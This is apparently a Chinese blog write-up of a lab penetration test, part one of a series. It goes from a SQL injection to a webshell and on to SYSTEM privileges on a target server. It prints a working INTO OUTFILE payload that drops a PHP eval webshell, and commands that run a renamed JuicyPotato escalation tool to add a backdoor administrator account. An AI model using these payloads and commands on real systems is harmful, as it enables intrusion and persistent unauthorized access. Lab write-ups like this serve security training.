主页 > 网络知识 > 记一次由sql注入到拿下域控的渗透测试实战演练1

记一次由sql注入到拿下域控的渗透测试实战演练1

本次渗透总流程:

1.从一个web页面发现SQL注入并可以通过注入getshell

2.通过对webshell的提权成功拿下服务器管理员权限

3.通过内网穿透成功连接目标服务器的3389远程桌面服务

4.通过在目标服务器上安装并使用nmap完成信息收集,为接下来横向移动以及拿下域控提供基础

5.通过mimikatz抓取本机管理员明文密码,为下一步域渗透提供条件

本次渗透靶场网络拓扑图:

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

工具:

蚁剑,烂土豆提权补丁,reGeorge,nmap,mimikatz,Proxifier汉化版

开始渗透:

发现页面上存在?id=1的传参,于是输入and 1=2 进行测试,发现页面报错并爆出了绝对路径,接下来尝试使用outfile函数进行getshell
语句如下:

?id=1 and 1=2 union select 1,'<?php eval($_REQUEST[1]);?>' into outfile 'C:/phpStudy/WWW/a.php'

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

尝试连接

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

发现shell已经上传成功,接下来用蚁剑连接(有一个之前上传过的烂土豆请忽略……)

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

接下来用蚁剑的终端进行服务器端口信息收集并尝试给服务器添加用户,但失败(原因很简单,webshell权限不够嘛)

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

所以接下来要进行webshell的提权,提权一般会有两个思路:

1.依靠系统组件提权(例如:MySQL权限高而phpstudy权限低,那么我们就想办法让MySQL替我们去执行一些需要高权限的命令)

2.依靠系统漏洞提权(实战中更加常用)

由于并没有发现目标服务器上有什么高权限的组件可以入侵,所以我们采取第二种方法提权,首先我们采用systeminfo命令查看系统已下载补丁

然后从这个在线辅助提权的网站上> (https://bugs.hacking8.com/tiquan/)

搜索可用提权补丁,这里我们采用图上的hotpotato进行提权,因为它适用的系统多,提权更可能成功

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

利用蚁剑上传烂土豆:

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

烂土豆使用方法:(笔者的这个烂土豆是魔改后的,使用比较简单,若想要原版可以从这里下载https://github.com/ohpe/juicy-potato/releases)

Juicypotato.exe -p“命令”

笔者这里将烂土豆改名为hx.exe是为了执行命令更方便(其实就是偷懒哈哈~)

使用hx.exe -p "whoami"查看当前权限,发现已经是system权限了

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

使用hx.exe -p "net user haixian abc123456.! /add"进行本地用户的添加

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

但注意,此时的账号haixian并不是管理员,我们要对其进行进一步的提权才可以使其权限变为管理员

使用hx.exe -p "net localgroup administrators haixian /add"来将我们的用户haixian加入到本地管理员用户组

 

记一次由sql注入到拿下域控的渗透测试实战演练(上)

 

至此,我们已经成功地向目标服务器添加了一个名为haixian的管理员用户,接下来就是想办法通过这个用户,使用远程桌面连接目标服务器

首先我们尝试直接使用mstsc.exe去连接靶机,但是以失败告终,猜测有以下几种可能:

靶机并没有将3306端口像80端口一样映射到公网上,路由器里并没有记录,所以我们无法直接通过公网访问到靶机的3306端口

靶机无法连接公网

这里如果是第二种情况那么就不太好办了,但我们可以猜测是第一种情况并按第一种情况来处理,如果最后连接成功,那么就证实了我们的猜想

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!